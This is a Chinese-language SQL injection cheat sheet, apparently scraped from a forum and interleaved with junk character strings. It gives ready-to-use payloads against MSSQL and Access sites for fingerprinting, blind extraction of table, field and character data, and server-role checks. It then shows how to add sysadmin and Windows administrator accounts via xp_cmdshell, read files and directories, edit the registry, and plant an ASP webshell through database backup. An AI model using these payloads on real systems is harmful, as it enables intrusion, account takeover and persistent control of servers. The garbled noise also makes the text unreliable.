手工脚本注入
" \$ H9 {" X$ F9 p1.判断是否有注入;and 1=1 ;and 1=2
8 O- P& m9 v6 k; g; U7 Q/ w
7 q( ~+ F9 Y$ t- H: c+ {2.初步判断是否是mssql ;and user>0 5 L' j2 J& c$ }) m1 k. Z# e
2 y; k) m7 H& f; R) E- o
3.注入参数是字符'and [查询条件] and ''=' ( D w* _& S8 y H* E1 p; c) d9 T
& K; r- P0 i. `5 G
4.搜索时没过滤参数的'and [查询条件] and '%25'='
2 b$ } m/ A* a" ~( b
" p+ F, q# [4 W# m5.判断数据库系统 # f. v9 `1 Y% f
;and (select count(*) from sysobjects)>0 mssql 2 P2 H h4 H+ W5 P6 R' d
;and (select count(*) from msysobjects)>0 access
# C6 G! P' e0 z6 t) b6 }# d3 d1 x: ]1 C- Y* z3 v) @( K
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ! H, |& ]; U* v6 i! u& P
, J0 K5 C1 A0 }! d$ j0 g
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
$ V2 Q8 b0 _7 u0 O* z
v% p9 H0 Z/ L4 _/ g" u8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1 c; M) [" G6 L( d
2 b6 U& k* u l) J9.(1)猜字段的ascii值(access) ) p, G( g b& j! \9 G4 L* {& |
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 , [6 A+ Y8 k" A i7 k
' k% Z6 a& w* s9 S(2)猜字段的ascii值(mssql) * G! Z! W# ?) j9 }# J: n9 t
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; ^, s; E# W# O0 `! A; U6 S6 p
7 K! v: @4 t" v3 p7 h0 ]: k
10.测试权限结构(mssql) 7 y+ e+ O, v" L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4 h& p8 N1 ]' U- x" R* }* K' T
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- # f9 B* d) ]$ G% N8 I5 }
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
$ g5 I- q% j2 C3 w;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 K/ {' ]. j3 X6 ]" l4 Q- R" T
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0 [+ g. H: B B: r1 f
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 g; p2 r3 f! ^8 W7 O0 G# W& j;and 1=(select IS_MEMBER('db_owner'));-- 1 z( D: v! c/ V' W) y
. x4 l! V( K1 g11.添加mssql和系统的帐户
: V7 M6 [4 g* y- E& J- g;exec master.dbo.sp_addlogin username;--
) z* @ ]1 |% \7 L3 q& e+ q; K# q6 F) u2 X+ w8 i2 v0 C
;exec master.dbo.sp_password null,username,password;-- & D/ Q7 d8 q, {8 j1 e2 A
2 [5 G9 V( [ _0 p+ o
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
8 X& D; Y E/ p6 X4 W6 b5 f6 m# c% ^& \( e8 g/ Y H+ y/ u7 F8 ?
;exec master.dbo.xp_cmdshell 'net user username password
, r! u3 U* e$ f9 u, V0 B. k/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 6 A, I) N0 m: S0 v5 w! G- W5 W' R
) w4 s7 L9 E; m7 w2 e) ~
;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ i/ v5 S% K( s/ `
& }5 [; K& s. a% w; ~;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
s. v/ @% m3 V5 r% t' n6 Y2 X( z9 N" B* w4 t7 K4 x
12.(1)遍历目录
, l- r0 l; s# i& F, z5 I7 a$ m3 ]3 a/ X2 s8 Q3 \0 I
;create table dirs(paths varchar(100), id int)
2 |" y6 F2 H, P/ _;insert dirs exec master.dbo.xp_dirtree 'c:\'
$ G; D5 d1 Y/ |1 s;and (select top 1 paths from dirs)>0 $ f* `. [" |9 w5 k+ K
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 c, I8 e- @9 d& y
$ T3 B4 _5 f: l% c/ ~3 Q$ L$ Y(2)遍历目录 3 R: e4 f, J* x% u
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 2 u; c# Y+ t. B0 B; [9 R4 J
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 d& Z& F$ S0 E" Z;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 X( M( o: Q* |! G1 b5 y! `" ?
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ' F9 ? d0 A; U) i0 F9 r3 n
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
5 h* J5 P" E7 B+ K
% L }$ I; Y- B% Y6 f4 s( h$ w13.mssql中的存储过程
* A: P& I; |- M+ K
, a1 M, A0 Z6 ?) \xp_regenumvalues 注册表根键, 子键 1 ^9 L& a' [( B# `9 A: }5 P; m: \; c) R0 h
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: q6 j& }2 t% J. T+ m3 F: u3 x- Y$ g4 s" G& z
xp_regread 根键,子键,键值名 1 }. O( N+ Z4 Z1 r. E6 \
;exec xp_regread
9 C5 K. G$ U- P. e5 p+ s'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 p8 C. Y4 t5 T! G& a( J Y: N/ f# A2 |7 q) b! \! q& Q9 K
xp_regwrite 根键,子键, 值名, 值类型, 值 2 }* B8 s: i' m( x* |
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% m3 t0 Z8 u/ f C! P. m- c;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 * f) r$ }# l2 L$ T7 d5 l% O
( l2 j8 [6 s5 t, F
xp_regdeletevalue 根键,子键,值名
8 k6 N/ ]) ]! R4 S0 ~5 A' n1 l- W: E$ E
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
7 r2 g2 l7 q* Q D7 B M, e2 |2 a/ L6 ^
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 , K+ ^3 A% @* X: i- ~
9 w2 k2 A7 D5 S' @
14.mssql的backup创建webshell 5 R2 i3 r, z6 ]* a& x) S. a
use model 7 P9 P- ~1 s2 x6 l% F8 |
create table cmd(str image);
% Q6 ]; h- C3 D/ k. yinsert into cmd(str) values (''); * F& g! v6 x. E. B4 T
backup database model to disk='c:\l.asp';
* q2 h3 }( e6 K( b6 t/ W: h* G. E. B, j
15.mssql内置函数
1 x+ L- j- `1 t; l;and (select @@version)>0 获得Windows的版本号 # n; w- ?# a( H6 L; y7 F
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0 d" H* i7 M( @* s3 A* s
;and (select user_name())>0 爆当前系统的连接用户 9 h. S% V) J, y1 I' k$ ^: \
;and (select db_name())>0 得到当前连接的数据库
: l6 E u2 \7 \9 w! l7 b9 f3 D+ B% o3 [
16.简洁的webshell
% x |3 Q5 a" L. { @2 b* e4 b( `2 X% k- v6 A: b
use model 7 x9 j3 {! O: C
( T& Q3 C" N& e! @$ @6 c
create table cmd(str image); * }5 ]) G% p: e8 c' `5 N
6 [) P- ^" G/ S& J/ Winsert into cmd(str) values ('');
7 @0 G; A# U8 H9 ~( A5 U6 m2 Q6 v4 |
backup database model to disk='g:\wwwtest\l.asp'; ( t7 ^5 B( r2 Q0 g+ ]7 p
( e: R- H9 T( c) b |